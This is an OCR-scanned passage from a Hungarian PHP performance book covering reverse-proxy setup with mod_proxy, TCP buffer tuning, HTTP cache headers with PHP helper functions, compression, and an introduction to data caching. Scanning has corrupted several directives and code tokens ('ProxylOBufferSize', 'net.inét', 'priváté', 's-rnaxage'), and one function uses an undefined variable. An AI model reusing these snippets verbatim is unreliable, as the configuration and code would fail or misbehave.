Egy mod_proxy alapú fordítotthelyettes-beállítás tehát valahogy így fest: DocumentRoot /dev/null Listen externalether:80 MaxClients 256 KeepAlive Off AddModule mod_proxy.c ProxyRequests On ProxyPass / http://localhost/ ProxyPassReverse / http://localhost/ ProxylOBufferSize 131072 <Directory proxy:*> Order Deny,Allow Deny from all </Directory> Érdemes észrevennünk a következőket: • A DocumentRoot a /dev/null értéket kapta, mivel ez a kiszolgáló nem rendelkezik saját tartalommal. • Kifejezetten a kiszolgáló külső Ethernet címéhez (externalether) kell kapcsolódnunk, mivel egy tisztán PHP-t futtató példányt is működtethetünk ugyanazon a gépen. A Listen utasítás nélkül az elsőként elindított kiszolgáló lekötné az összes elérhető címet, lehetetlenné téve a második számára a munkát. • Az életben tartást (keepalive) kikapcsoltuk. A nagyforgalmú webkiszolgálók, amelyek előágaztató (pre-fork) modellt (mint az Apache) vagy kisebb mértékben szálas modellt (mint a Zeus) használnak, általában vesztenek a teljesítményükből, ha az életben tartás be van kapcsolva. • A ProxyRequests értéke On, ami azt jelenti, hogy a mod_proxy működhet. • A ProxyPass / http: //localhost arra utasítja a mod_proxy-t, hogy a / jellel kezdődő kérelmeket (vagyis tulajdonképpen az összesét) belsőleg továbbítsa ahhoz a kiszolgálóhoz, amelyik a helyi gép IP címéhez van kötve - vagyis a PHP példányhoz. • Amennyiben a PHP példány egy Location átirányítást eszközöl a f oo. php-n, amiben szerepel a kiszolgáló neve, az ügyfél az alábbi átirányítást kapja meg: Location: http://localhost/foo.php Ez a végfelhasználónál nem működik, így a ProxyPassReverse minden Location átirányítást átír úgy, hogy az önmagára mutasson. • A ProxylOBufferSize 131072 beállítja azon átmeneti tár (buffer) méretét, melyet a fordított helyettes használ a PHP-től visszakapott adatok összegyűjtésére. Annak elkerülésére, hogy a böngésző irányában folytatott adatcsere megakadályozza a helyettes működését, ezt az értéket legalább akkorára kell állítani, mint a legnagyobb, a felhasználónak szolgáltatott oldal mérete. Ez lehetővé teszi, hogy az egész

9. fejezet • Teljesítményfokozás külső módszerekkel

245

oldalt átküldjük a PHP-től a helyetteshez, mielőtt bármilyen adat visszakerülne a böngészőhöz. Ezután, míg a helyettes adatokat küld az ügyfél böngészőjének, a PHP példány nyugodtan dolgozhat. • Végül, letiltjuk az összes kimenő helyetteskérelmet a kiszolgáló felé. Ezzel elejét vesszük a helyettes nem rendeltetésszerű használatának.

Előágaztató, esemény alapú és szálas folyamatarchitektúrák

A webkiszolgálók által használt három fő architektúra az előágaztató, az eseményalapú, valamint a szálas modell. Az előágaztató modellben (pre-fork model) egy folyamathalmaz áll rendelkezésre a kérelmek kezelésére. Ha egy új kérelem érkezik, a rendszer kiosztja kezelésére az egyik gyermekfolyamatot. Egy folyamat általában több kérelmet is kiszolgál, mielőtt kilépne. Ezt a modellt alkalmazza az Apache 1.3. Az esemény alapú modellben (event-based model) egyetlen folyamat szolgálja ki a kérelmeket egyetlen szálon, nem blokkoló vagy aszinkron l/O-t használva a gyors kérelemfeldolgozáshoz. Ez a módszer rendkívül jól működik statikus fájlok kezelésénél, de korántsem ilyen hatékony dinamikus kérelmek esetén (mivel így egy-egy külön folyamat vagy szál szükséges az egyes kérelmek dinamikus részének kezeléséhez). Jef Poskanzer thttpd-je, ez a kisméretű, gyors webkiszolgáló ezt a modellt használja. A szálas modellben (threaded model) egy folyamat szálak egész halmazát használja a kérelmek kiszolgálására. A módszer igen hasonló az előágaztató modellhez, a különbség annyi, hogy itt egyes erőforrások megoszthatók a szálak között. A Zeus webkiszolgáló ezt a modellt alkalmazza. Jóllehet a PHP maga szálbiztos, nehéz vagy egyenesen lehetetlen azt biztosítani, hogy a külső gyártók által készített bővítmények kódja szintén az legyen. Ez azt jelenti, hogy még egy szálas webkiszolgálónál is előfordulhat, hogy nem használhatunk szálas PHP-t, helyette ágaztatott folyamatvégrehajtást kell alkalmaznunk a fastcgi, illetve a cgi megvalósításainak segítségével. Az Apache 2 hozzáadott jeles (drop-in) folyamatarchitektúrával rendelkezik, ami lehetővé teszi, hogy igényeink szerint szálas, előágaztató vagy kevert modellt használjunk.

Az előző Apache kiszolgálón belül ugyan meglehetősen sok beállításra volt szükség, a PHP-t futtató kiszolgálón ezzel szemben nem sokat kell módosítanunk az eddigiekhez képest. Egyetlen változtatásként az alábbi sort kell beírnunk a httpd. conf fájlba: Listen localhost:80

246

PHP fejlesztés felsőfokon

Ez kizárólagosan hozzáköti a PHP példányt a visszacsatolási címhez. Ha ezek után el szeretnénk érni a webkiszolgálót, csak a helyettes kiszolgálón keresztül tehetjük meg. A változtatások teljesítményre gyakorolt hatásának lemérése nehéz feladat. Módosításaink elsősorban azt a terhelést csökkentik, amit az erősen késleltetett kapcsolatok végén található ügyfelek okoznak, így nehéz lemérni a változást egy helyi vagy nagy sebességű hálózaton. Egy összeállításban jómagam láttam olyan fordított helyettessel működő rendszert, amely a webhely fenntartásához szükséges Apache gyermekfolyamatok számát képes volt 100-ról 20-ra csökkenteni.

Teljesítményfokozás az operációs rendszer szintjén
Fontos észrevennünk, hogy ha nem szeretnénk helyi gyorstárakat alkalmazni, a fordított helyettes használata feleslegesen nagy energiabefektetés. Hasonló hatást érhetünk el ugyanis külön kiszolgáló futtatása nélkül, ha lehetővé tesszük, hogy maga az operációs rendszer gyorstárazza az adatokat. A korábbiakban, a fordított helyettesek tárgyalása során láthattuk, hogy a hálózati várakozási idő nagy része az ügyfélnek küldött adatcsomagok közti várakozásból áll. Az alkalmazás azért kényszerül több adatcsomagot küldésére, mert az operációs rendszer korlátozza az átmenetileg tárolható adatok mennyiségét, amelyeket egyidőben egy TCP csatolón keresztül küldeni lehet. Szerencsére ezt a korlátot magunk is megváltoztathatjuk. A FreeBSD-ben a TCP tárakat az alábbiak szerint módosíthatjuk: #sysctl -w net.inét.tcp.sendspace=131072 #sysctl -w net.inét.tcp.recvspace=8192 A Linuxban a következőket tehetjük: #echo "131072" > /proc/sys/net/core/wmem_max Akármelyiket is végezzük el a fenti módosítások közül, a kimeneti TCP tárméretet 128 KB-ra, míg a bemeneti tárméretet 8 KB-ra állítjuk, (hiszen kevés bejövő kérelmet fogadunk, és sok választ küldünk kifelé). Ezzel egyúttal feltételezzük, hogy a legnagyobb küldött oldalméret 128 KB. Ha alkalmazott oldalméretünk ettől eltér, a beállításokat ennek megfelelően módosítani kell. Mindemellett szükség lehet arra is, hogy módosítsuk a kern. ipc.nmbclusters beállításait is, hogy megfelelő méretű memóriát foglalhassunk le a megnövekedett tár számára. (A részletekért forduljunk segítőkész rendszergazda barátainkhoz.) Az operációs rendszer korlátainak beállítása után rá kell vennünk az Apache kiszolgálót arra, hogy használja az így kiépített nagyméretű tárakat. Ehhez mindössze az alábbi utasítást kell elhelyeznünk a httpd. conf fájlban:
SendBufferSize 131072

9. fejezet • Teljesítményfokozás külső módszerekkel

247

Végezetül megszabadulhatunk a kapcsolat lezárásánál fellépő hálózati késedelemtől is a lingerd folt telepítésével az Apache-ra. Ha a hálózati kapcsolatra nincs többé szükség, a küldő egy FIN adatcsomagot küld a fogadónak, jelezve, hogy a kapcsolat lezárható. A küldő ezután egészen addig várakozásra kényszerül, míg a fogadó nem értesíti a FIN csomag fogadásáról - biztosítva ezzel, hogy valóban minden adat rendben átjutott. A FIN csomag elküldése után az Apache-nak semmi mást nem kell tennie, mint várni a FIN-ACK csomagra, majd lezárni a kapcsolatot. A lingerd folyamat úgy képes segíteni ebben, hogy átadja a csatolót egy külső démonnak (lingerd), amely ezek után átvállalja a várakozást a FIN-ACK csomagokra, és elintézi a kapcsolatok lezárását is. Nagyforgalmú webkiszolgálók esetén a lingerd használata jelentős teljesítménynövekedést eredményezhet, különösen, ha alkalmazása mellett az írási tárak méretét is megnöveljük. A lingerd fordítása hihetetlenül egyszerű. Ez valójában egy folt (patch) az Apache kiszolgálóhoz (ami lehetővé teszi, hogy az Apache átadhassa a fájlleírókat a lezáráshoz), és egy démon, amely a lezárásokat megvalósítja. A lingerd számos ismert webhelyen használatos, köztük megemlítendő a Sourcef orge . com, a Slashdot. org, valamint a L ive Journal. com.

Helyettes gyorstárak
Nagyszerű dolog, ha kis késleltetésű kapcsolattal rendelkezünk, de még jobb, ha a tartalomkiszolgálónak egyáltalán nem kell kérelmeket kiadnia. A HTTP segítségével ez megoldható. A HTTP gyorstárazás számos szinten működhet: • a fordított helyettesekbe épített gyorstárak alakjában, • a végfelhasználó internetszolgáltatójánál meglevő helyettes gyorstárak alakjában, • a felhasználó böngészőjébe épített gyorstárak alakjában. A 9.5. ábrán a fordított helyettes gyorstárak egy jellemző elrendezését láthatjuk. Amikor a felhasználó kérelmet intéz a www. example. f oo címhez, a DNS keresés a helyettes kiszolgálóhoz irányítja. Ha a kért bejegyzés létezik a helyettes gyorstárában, és nem elavult, az oldal tárolt másolata kerül vissza a felhasználóhoz, és a webkiszolgálónak a kisujját sem kell megmozdítania. Egyébként a kapcsolat átkerül a webkiszolgálóhoz, hasonlóan a fordított helyettes korábban tárgyalt esetéhez. A legtöbb fordítotthelyettes-megoldás, így a Squid, a mod_proxy és a mod_accel támogatja a beépített gyorstárakat. A fordított helyettesbe épített gyorstár használata egyszerű módszert ad arra, hogy hatékonyabban kihasználhassuk fordított helyettesünket. Egy ilyen helyi gyorstár biztosítja, hogy a tárolható tartalom valóban tárolódik, így csökken a terhelés a háttérmunkát végző PHP kiszolgálókon.

248

PHP fejlesztés felsőfokon

9.5. ábra

Kérelem egy fordított helyettesen keresztül.

Gyorstárbarát PHP alkalmazások
Ahhoz persze, hogy kihasználjuk a gyorstárak előnyeit, PHP alkalmazásainkat „gyorstárbaráttá" kell alakítanunk. Az ilyen alkalmazások megértik, miként működnek a böngészők és a helyettesek tárolási módszerei, és annak is tudatában vannak, saját adataik miként tárolhatók. Beállíthatjuk őket úgy, hogy a gyorstárakhoz kapcsolódó utasításokat alkalmazva a böngészőkben a megfelelő eredményre jussanak. Ahhoz, hogy gyorstárbarát alkalmazásokat készítsünk, alapjában véve négy HTTP fejléccel kell közelebbi ismeretséget kötnünk:

• Last-Modified • Expires
• Pragma: no-cache • Cache-Control

9. fejezet * Teljesítményfokozás külső módszerekkel

249

A Last-Modified HTTP fejléc a HTTP 1.0 gyorstárkezelésének egyik sarokköve. Tartalma az oldal utolsó módosításának dátuma az UTC (korábban GMT) idő szerint. Ha egy gyorstár újra érvényesíteni kívánja magát, elküldi a Last-Modif ied dátumot If -Modif ied-Since fejlécmezője tartalmaként, így a kiszolgáló megtudja, milyen másolat érvényesítésére van szükség. Az Expires mező a HTTP 1.0-ban az érvényesíthetetlenség idejét jelzi. Tartalma egy GMT dátum, amely után a kért dokumentum többé nem tekinthető érvényesnek. Sokan olyan fejlécként tekintenek a Pragme: no-cache-re, mint amit arra használnak, hogy meggátolják az objektumok gyorstárazását. Bár e fejléc beállítása semmilyen hátránnyal nem jár, a HTTP leírása nem adja meg a pontos jelentését, így hasznosságát csak az adja, hogy a HTTP 1.0 gyorstárak defacto szabványának számít. A 90-es évek végén, amikor számos ügyfél még csak a HTTP 1.0-t értette, a gyorstárak beállításainak átadása meglehetősen korlátozott volt az alkalmazások között. Szokásos gyakorlattá vált az alábbi fejlécek elhelyezése minden dinamikus oldalon: function http_l_0_nocache_headers()
{

$pretty_modtime = gmdate('D, d M Y H : i : s ' ) header("Last-Modified: $pretty_modtime"); header("Expires: $pretty_modtime"); header("Pragma: no-cache");
}

.

' GMT';

Ez gyakorlatilag közli a köztes gyorstárakkal, hogy az adatokat ne tárolják, inkább frissítsék minden alkalommal. Ha átgondoljuk, milyen lehetőséget nyújtanak e fejlécek, hamar észrevehetünk néhány kirívó hiányosságot: • Ha az elévülés időpontját egy abszolút időbélyegzővel szeretnénk megadni, az ügyfél és a kiszolgáló rendszeróráinak összhangban kell lenniük. • Egy ügyfél böngészőjének gyorstára meglehetősen különbözik az internetszolgáltató gyorstárától. Az előbbi képes egy oldal testreszabott adatainak tárolására, míg egy több felhasználó által megosztott helyettes gyorstár nem. A HTTP 1.l-ben kiküszöbölték e hiányosságokat, mégpedig a Cache-Control utasításokkal. A Cache-Control válaszfejléc lehetséges értékeit az RFC 26l6-ban találhatjuk meg, használatának alakja pedig a következő:

250

PHP fejlesztés felsőfokon

Cache-Control = "Cache-Control" " : " l#cache-response-directive cache-response-directive = "public" I "priváté" I "no-cache" I "no-store" I "no-transform" I "must-revalidate" I "proxy-revalidate" I "max-age" " = " delta-seconds I "s-maxage" " = " delta-seconds A Cache-Control utasítás meghatározza a kért dokumentum tárolhatóságát. Az RFC 26l6-nak megfelelően minden gyorstár és helyettes meg kell értse ezeket az utasításokat, és a fejlécnek át kell haladnia minden helyettesen egészen a böngészőig, melytől a kérelem származott. A tárolhatóság szabályozására az alábbi utasításokat használhatjuk: • public — A válasz bármely gyorstárban tárolható. • priváté - A válasz nem megosztott gyorstárakban tárolható. Ez a gyakorlat szempontjából azt jelenti, hogy a kérelem csak a küldő böngészőjének gyorstárában tárolható, a köztes gyorstárakban nem. • no-cache - A válasz nem tárolható egyetlen gyorstárban sem. A no-store utasítás azt jelzi, hogy az átvitt adatok érzékenyek, így nem tárolhatók maradandó tárhelyeken. Ha az objektum tárolható, az utolsó utasításokkal azt szabályozzuk, milyen hosszú ideig. • must-revalidate - Minden gyorstárnak újra érvényesítenie kell az oldalhoz érkező kérelmeket. Az ellenőrzésnél a böngésző egy Is-Modified-Since fejlécet küld a kérelemben. Amennyiben a kiszolgáló igazolja, hogy a tárolt oldal valóban a legfrissebb változat, a 3 04 Not Modif ied választ küldi az ügyfélnek - egyébként pedig visszaküldi a teljes módosított oldalt. • proxy-revalidate - Ez az utasítás hasonló tulajdonságokkal rendelkezik, mint a must-revalidate, de itt csak a megosztott gyorstáraknak kell újra érvényesíteniük a tartalmukat. • max-age - Itt adhatjuk meg másodpercben azt az időtartamot, amíg a gyorstár egy elemét tárolhatónak tekintjük. • s-maxage - Itt adhatjuk meg másodpercben azt az időtartamot, amíg a megosztott gyorstárak elemeit tárolhatóknak tekintjük. Fontos megjegyeznünk, hogy a HTTP 1.1 szabvány szerint, ha a max-age vagy az s-maxage értékét beállítottuk, ez felülbírálja az Expire fejlécben megadott értékeket.

9. fejezet • Teljesítményfokozás külső módszerekkel

251

Az alábbi függvény olyan oldalak kezelésére alkalmas, melyeket minden gyorstárban újra kell érvényesíteni: function validate_cache_headers($my_modtime)
{

$pretty_modtime = gmdate('D, d M Y H : i : s ' , $my_modtime) if($_SERVER['IF_MODIFIED_SINCE'] == $gmt_mtime) { header("HTTP/1.1 304 Not Modified"); exit ;
}

.

' GMT';

else { header("Cache-Control: must-revalidate"); header("Last-Modified: $pretty_modtime");
} }

A függvény paraméterként az oldal legutóbbi módosításának idejét fogadja, majd összehasonlítja a Is-Modif ied-Since fejléccel, melyet az ügyfél böngészőjétől kap. Ha a két időpont megegyezik, a tárolt másolat megfelelő, így a 304-es állapotkód kerül vissza az ügyfélhez, jelezve, hogy a másolat használható. Egyébként a kiszolgáló a Last-Modif ied fejlécet küldi a Cache-Control-lal együtt, ami az újraérvényesítést szabályozza. A függvény használatához természetesen ismernünk kell az oldal legutóbbi módosításának időpontját. Egy statikus oldalnál (ami lehet kép vagy egy „egyszerű", nem dinamikus HTML oldal) ez egyszerűen a fájl módosításának ideje. A dinamikusan (PHP-vel vagy másképp) készített oldalak esetében itt az az időpont áll, amikor az oldal készítéséhez felhasznált adatok valamelyike megváltozott. Vegyünk egy webnapló alkalmazást, amely főoldalán a legfrissebb bejegyzéseket jeleníti meg: $dbh = new DB_MySQL_Prod() ; $result = $dbh->execute("SELECT max(timestamp) FROM weblog_entries"); if($results) { l i s t ( $ t s ) = $result->fetch_row(); validate_cache_headers($ts) ;
}

A legutóbbi módosítás időpontját itt az utolsó bejegyzés időbélyegzője adja meg. Ha tudomásunk van arról, hogy egy oldal érvényes lesz bizonyos ideig, és nem különösebben izgat, ha hirtelen elavulttá válik, kikapcsolhatjuk a must-revalidate fejlécet, és beállíthatunk egy meghatározott Expires értéket. Fontos tudatában lennünk annak,

252

PHP fejlesztés felsőfokon

hogy oldalunk valóban elavulttá válhat időközben: ha közöljük a helyettes gyorstárral, hogy a tárolt tartalom egy Ideig megfelelőnek tekinthető, elveszítjük annak lehetőségét, hogy frissítsük ezt a megadott időtartamban. Ezzel persze számos alkalmazásnál semmi gond nincs. Vegyünk például egy olyan híroldalt, mint a CNN-é. Még a legfrissebb hírek érkezésénél sem okoz gondot, ha a nyitólap frissítése egy percet késik. Ha ennek megfelelően szeretnénk beállítani a gyorstárakat, többféle módszert is alkalmazhatunk. Amennyiben lehetővé szeretnénk tenni, hogy a megosztott helyettesek egy percig tárolják oldalunkat, hívhatunk egy, az alábbihoz hasonló függvényt: function cache_novalidate($interval = 6 0 )
{

$now = time(); $pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT'; $pretty_extime = gmdatef'D, d M Y H : i : s ' , $now + $interval) . ' GMT'; // visszirányú megfelelőség a HTTP/1.0 ügyfelek számára header("Last Modified: $pretty_lmtime"); header("Expires: $pretty_extime"); // HTTP/1.1-támogatás header("Cache-Control: public,max-age=$interval");
}

Ha azonban olyan oldalról van szó, ami némileg testreszabott (mondjuk egy nyitólapról, ami helyi híreket is tartalmaz), azt is beállíthatjuk, hogy a másolatot csak a böngésző tárolja: function cache_browser($interval = 6 0 )
{

$now = time(); $pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT'; $pretty_extime = gmdate('D, d M Y H : i : s ' , $now + $interval) . ' GMT'; // visszirányú megfelelőség a HTTP/1.0 ügyfelek számára header("Last Modified: $pretty_lmtime"); header("Expires: $pretty_extime"); // HTTP/1.1-támogatás header("Cache-Control: priváté,max-age=$interval,s-maxage=0");
}

Végezetül, ha a lehető leghatározottabban el szeretnénk kerülni, hogy az oldalt bárhol is tárolják, a következőket tehetjük: function cache_none($interval = 60)
{

// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára header("Expires: 0 ") ;

9. fejezet • Teljesítményfokozás külső módszerekkel

253

header("Pragma: no-cache"); // HTTP/1.1-támogatás header("Cache-Control: no-cache,no-store,max-age=0,s-rnaxage=0, '■- must-revalidate") ;
}

A PHP munkamenet-bővítménye ilyen no-cache fejléceket állít be a session_start () hívásánál. Ha úgy érezzük, hogy jobban ismerjük munkamenet alapú alkalmazásunkat, mint a bővítmény szerzői, egyszerűen átállíthatjuk e fejléceket a session_start () hívását követően. Az alábbiakban felsorolunk néhány, a külső gyorstárak használatával kapcsolatos buktatót: • A POST-tal kérelmezett oldalak nem tárolhatók ezzel a módszerrel. • A gyorstárak ilyen használata nem jelenti azt, hogy egy oldalt csak egyszer kell szolgáltatnunk. Mindössze abban lehetünk biztosak, hogy adott helyettesnek adott időtartamon belül csak egy szolgáltatásra van szüksége. • Nem minden helyettes kiszolgáló felel meg az RFC szabványainak. Ha valahol nem vagyunk biztosak ebben, inkább akadályozzuk meg a gyorstár használatát.

Tartalomtömörítés
A HTTP 1.0-ban megjelent a tartalom kódolásának lehetősége - ez lehetővé teszi az ügyfelek számára, hogy jelezzék a kiszolgálók felé: képesek fogadni bizonyos módokon kódolt tartalmat. A tartalom tömörítésével kisebb mérethez jutunk, aminek két alapvető következménye van: • A sávszélesség-használat csökken, hiszen az átvitt adatok összmennyisége kisebb lesz. Számos cég esetében a megfelelő sávszélesség biztosítása jelenti az első számú technikai költséget. • A hálózati késleltetés csökkenthető, hiszen a kisebb tartalom kevesebb hálózati adatcsomagban is továbbítható. Ezekért az előnyökért a tömörítésre felhasznált processzoridővel fizetünk. Egy valós életben lefolytatott tesztben (a mod_gzip alkalmazásával) azt tapasztaltam, hogy a sávszélesség felhasználásának 30%-os csökkenése mellett összességében is teljesítménynövekedést értem el: nagyjából 10%-kal emelkedett az adatátvitel oldal/másodperc egységben mért mérőszáma a tömörítés nélküli esethez képest. És még ha e teljesítménynövekedéstől el is tekintünk, a sávszélesség kihasználásának 30%-os csökkenése jelentős költségmegtakarítást tesz lehetővé.

254

PHP fejlesztés felsőfokon

Amikor egy ügyfélböngésző kérelmet küld a kiszolgálóhoz, jelzi a böngészőtípust, valamint azt, hogy milyen lehetőségeket támogat. Az itt küldött fejlécek között a böngésző az általa elfogadott tartalomtömörítési módokról is tájékoztatást ad, valahogy így: Content-Encoding: gzip,deflate A tömörítés megvalósítására számos lehetőség áll rendelkezésünkre. Ha a PHP-t zlibtámogatással fordították le (az -enable-zlib kapcsolóval), a legegyszerűbb, ha a beépített gzip kimenetkezelőt használjuk. Ezt a lehetőséget a php. ini megfelelő paraméterének beállításával vehetjük használatba:
zlib.output_compression On

Ilyenkor a kiszolgáló automatikusan megállapítja a kérelmező böngésző képességeit, és a tartalmat is ennek megfelelően, automatikusan tömöríti. E módszer egyetlen hátránya, hogy a tömörítés ilyenkor csak a PHP kimenetére hat. Amennyiben kiszolgálónk csak PHP-vel előállított oldalakat szolgáltat, semmi gond nincs. Ha azonban más a helyzet, érdemes egy másik gyártó által készített Apache-modult használnunk a tömörítéshez. (Ez lehet például a mod_def laté vagy a mod_gzip.)

További olvasmányok
Fejezetünkben számos új módszert mutattunk be, melyek közül sok bővebb tárgyalást is megérdemelne. Az alábbiakban az érdeklődők számára szolgálunk némi útmutatással az elérhető irodalom terén.

RFC-k
Mindig jó érzés a tudáshoz első kézből hozzájutni. Nos, az Interneten használt protokollok leírásánál az „első kéz" szerepét az RFC-k játsszák, melyeket az IETF gondoz. Az RFC 26l6-ban megismerkedhetünk a HTTP 1. l-ben megjelent fejlécekkel, továbbá tájékoztatást kaphatunk a különböző utasítások (direktívák) használatának alakjáról és értelméről. Az RFC-k számos helyről letölthetők a weben, jómagam az IETF RFC tárolóját részesítem előnyben, melyet a www. iet f . org/rf c . html címen érhetünk el.

Fordítói gyorstárak
A fordítói gyorstárak működéséről részletesebben a 21. és 24. fejezetekben olvashatunk. Nick Lindridge, az ionCube gyorsító szülőatyja készített egy nagyszerű leírást gyermeke működéséről, melyet a www.php-accelerator. co.uk/PHPA_Article.pdf címen találhatunk meg.

9. fejezet * Teljesítményfokozás külső módszerekkel

2S5

Az APC forráskódja elérhető a PEAR PHP-bővítményeket tartalmazó PECL tárolójában. Az ionCube Accelerator futtatható alakját elérhetjük a www. ioncube. com címen. A Zend Accelerator a www. zend. com webhelyen található meg.

Helyettes gyorstárak
A Squid-et a www. squid-cache . org címen találhatjuk meg, ahol egyúttal számos nagyszerű forrást találhatunk a beállítási lehetőségekről és a használat módjairól. Egy jól sikerült írást is olvashatunk a Squid használatáról HTTP gyorsítóként ViSolve-tól a http://squid.visolve.com/white_papers/reverseproxy.htm címen. A Squid fordított helyettes kiszolgáló szerepben nyújtott teljesítményének növeléséről a http: //squid. sourceforg.net/rproxy címen tájékozódhatunk. A mod_backhand modult a www. backhand. org címen találhatjuk meg. A mod_proxy használatának csak az alapjait mutattuk be ebben a fejezetben. A lehetőségek ennél sokkal gazdagabbak — a kérelmek kezelésének igen sokoldalú módját adja a mod_proxy és a mod_rewrite együttes használata. A részletekért látogassunk el az Apache projekt webhelyére (http: / /www. apache. org). A mod_rewrite/mod_proxy modulok együttes használatának egyszerű példája Scalable Internet Architectures (Méretezhető internetes architektúrák) címmel az Apachecon 2002ről saját bemutatómban is megtekinthető. A diák a következő címen érhetők el: http://www.omniti.com/~george/talks/LV73 6.ppt. Amod_accel megtalálható a http: //sysoev.ru/mod_accel címen. Sajnálatos módon a leírás nagyobb része ékes orosz nyelven olvasható. A mod_accel és a mod_def laté telepítéséről azonban hozzájuthatunk Philip Mak angol nyelvű Hogyanjához a http: //www.aaanime.net/pmak/apache/mod_accel címen.

Tartalomtömörítés
A mod_def laté modul az Apache 1.3.x változatához elérhető a következő címen: http: //sysoev.ru/mod_def laté. Fontos megjegyezni, hogy ennek semmi köze az Apache 2.0 mod_def laté moduljához. A mod_accel leírásához hasonlóan e projekt leírása is szinte teljes egészében orosz nyelvű. A mod_gzip fejlesztője, a Remote Communications elköltözött eredeti webhelyéről, és most a http: //sourceforge.net/projects/mod-gzip címen lelhető fel.

Adatösszetevők átmeneti tárolása
A dinamikus weblapok készítése valójában folyamatos egyensúlyozás két véglet között. Egyrészről, a dinamikus és személyre szabott weblapok nagyszerűek - másrészről viszont minden dinamikus hívás tovább növeli az oldal előállításához szükséges időt. A szövegek feldolgozása és a megsokasodó adatműveletek jelentős erőforrásokat emésztenek fel. Az adatbázis-lekérdezések és a távoli eljáráshívások (RPC-k) amellett, hogy időráfordítást követelnek a távoli kiszolgálótól, a hálózati késleltetéssel is lassítják az oldal működését. Minél több a dinamikus tartalom, annál több erőforrásra van szükség az oldal előállításához. Az adatbázis-lekérdezések gyakran a hálózati alkalmazások leglassabb részét adják, a nagy mértékben dinamikus webhelyeken pedig nem ritka, hogy oldalanként több ilyen lekérdezésre is szükség van. Ha sikerül valahogy megszabadulnunk ezektől, jelentősen növelhetjük a teljesítményt - itt siethetnek segítségünkre a gyorstárak. A gyorstárak használata gyakorlatilag azt jelenti, hogy egyes adatokat félreteszünk későbbi használatra. E módszerrel gyakran használt adatokat tárolhatunk, melyeket aztán gyorsabban érhetünk el, mint egyébként. A gyorstárak használatára könnyű jó példákat találni mind a számítástechnikán belül, mind az élet más területein. Nem kell sokat töprengenünk - vegyük csak a telefonszámok kezelésének esetét. A telefontársaság rendszeresen küld telefonkönyveket előfizetőinek. Ezek rendszerint ormótlanok, és a telefonszámok az előfizetők neveinek ábécésorrendje szerint rendezettek, sokáig tart tehát, míg odalapozunk a kívánt számhoz. (Vagyis itt nagy tárterületről van szó, lassú eléréssel.) A gyakran használt számok könnyebb elérése érdekében készítettem egy listát a hűtőszekrényem ajtaján családtagjaim, barátaim és a kedvenc pizzériáim telefonszámairól. Ez egy igen rövid lista, így könnyen megtalálom rajta a keresett számot. (Vagyis kis tárhely, gyors eléréssel.)

258

PHP fejlesztés felsőfokon

A gyorstárazással kapcsolatos kérdések
Bármilyen gyorstárat készítünk, van néhány alapfeladat, melynek elvégzésére mindenképpen gondot kell fordítanunk — ezeket soroljuk fel a következőkben: • A gyorstár méretének fenntartása - Ahogy a hűtőszekrény ajtajára ragasztott telefonszámlista növekszik, lassan eljutunk oda, hogy a papír mérete már nem lesz elegendő a befogadására. Persze felragaszthatunk újabb papírlapokat, de ezek szaporodásával egyre nehezebb lesz megtalálni a keresett számot, ráadásul a hűtő mérete is korlátozott. Mindez tehát azt jelenti, hogy az új telefonszámok hozzáadásával párhuzamosan a kevésbé fontosakat ki kell húznunk. Ennek megvalósításánál számtalan algoritmust használhatunk. • A gyorstár egyidejű elérése - A feleségem és én egyidejűleg hozzá kell, hogy férjünk a telefonszámlistához - és nem csak az olvasás, hanem az írás terén is egyenjogúság uralkodik. Ha azonban egy olyan számot szeretnék kiolvasni, melyet a feleségem éppen átjavít, az eredmény a két szám valamiféle keveréke lesz. Jóllehet az egyidejű írás lehetősége nem igazán merül fel komoly eshetőségként egy telefonszámlista esetében, ha egy csoport ugyanazon fájlokkal dolgozik, könnyen előfordulhat, hogy ütköznek egymás tevékenységével. Fontos, hogy védekezzünk az adatok meghibásodása ellen. • Az elavult adatok kezelése - Az új telefonkönyvek megjelenésével telefonszámlistánknak követnie kell a változásokat. Ami a legfontosabb: biztosítani kell, hogy a listán szereplő számok mindig helyesek legyenek. A gyorstár „lejárt szavatosságú" adatait elavultnak nevezzük, az adatok érvénytelenítését pedig a gyorstár mérgezésének. • A gyorstárak összhangja - A konyhában kiragasztott lista mellett létezik egy másik is, az irodámban. Ezek tartalma eltérhet egymástól, viszont fontos, hogy ne legyen ellentmondóak — ha valakinek a neve mindkét listában megjelenik, csak ugyanaz a szám tartozhat hozzá. Egyes gyorstárakban az alábbi tulajdonságok is megjelenhetnek: • Hierarchikus tárolás - Ilyenkor a tárolásnak több szintje létezik. A telefonlistás példában ilyen újabb szint lehet a telefon gyorstárcsázója. Ezzel még gyorsabban elérhetünk egyes számokat, viszont még kevesebb szám tárolására van lehetőség. • Előre hozott adatok - Ha bizonyos telefonszámokról tudom, hogy gyakran hívom majd (például a szüleim otthoni telefonszáma vagy a sarki pizzéria száma), a lista elejére veszem fel azokat. A 9. fejezet nagyobb részében azzal foglalkoztunk, hogyan kezeljük az ügyfél oldali és hálózati gyorstárakat. A dinamikus weblapokat nehéz teljes egészükben gyorstárakban tárolni - legalábbis az ügyfél oldalán. Ezért hát most nem is próbálkozunk azzal, hogy az egész oldalt tároljuk, inkább az alkalmazáson belül a lehető legtöbb dinamikus adat gyorstárban történő tárolására teszünk kísérletet.

10. fejezet * Adatösszetevők átmeneti tárolása

259

A gyorstárak használatának három szintjét különböztetjük meg: • Egész előállított oldalak, oldalrészek tárolása, mint az alábbi példákban: - Egy ritkán változó oldal tartalmának ideiglenes tárolása. - Adatbázis által vezérelt navigációs sáv tárolása. • Adatok tárolása felhasználói kérelmek között, mint az alábbi példákban: - A munkamenet adatainak tárolása (például az internetes bevásárlókocsik tartalmáé). - Felhasználói jellemzők tárolása. • Számított adatok tárolása, mint az alábbi példákban: - Adatbázis-lekérdezés tárolása. - Távoli eljáráshívások eredményének tárolása.

A gyorstárakban tárolható adatösszetevők felismerése
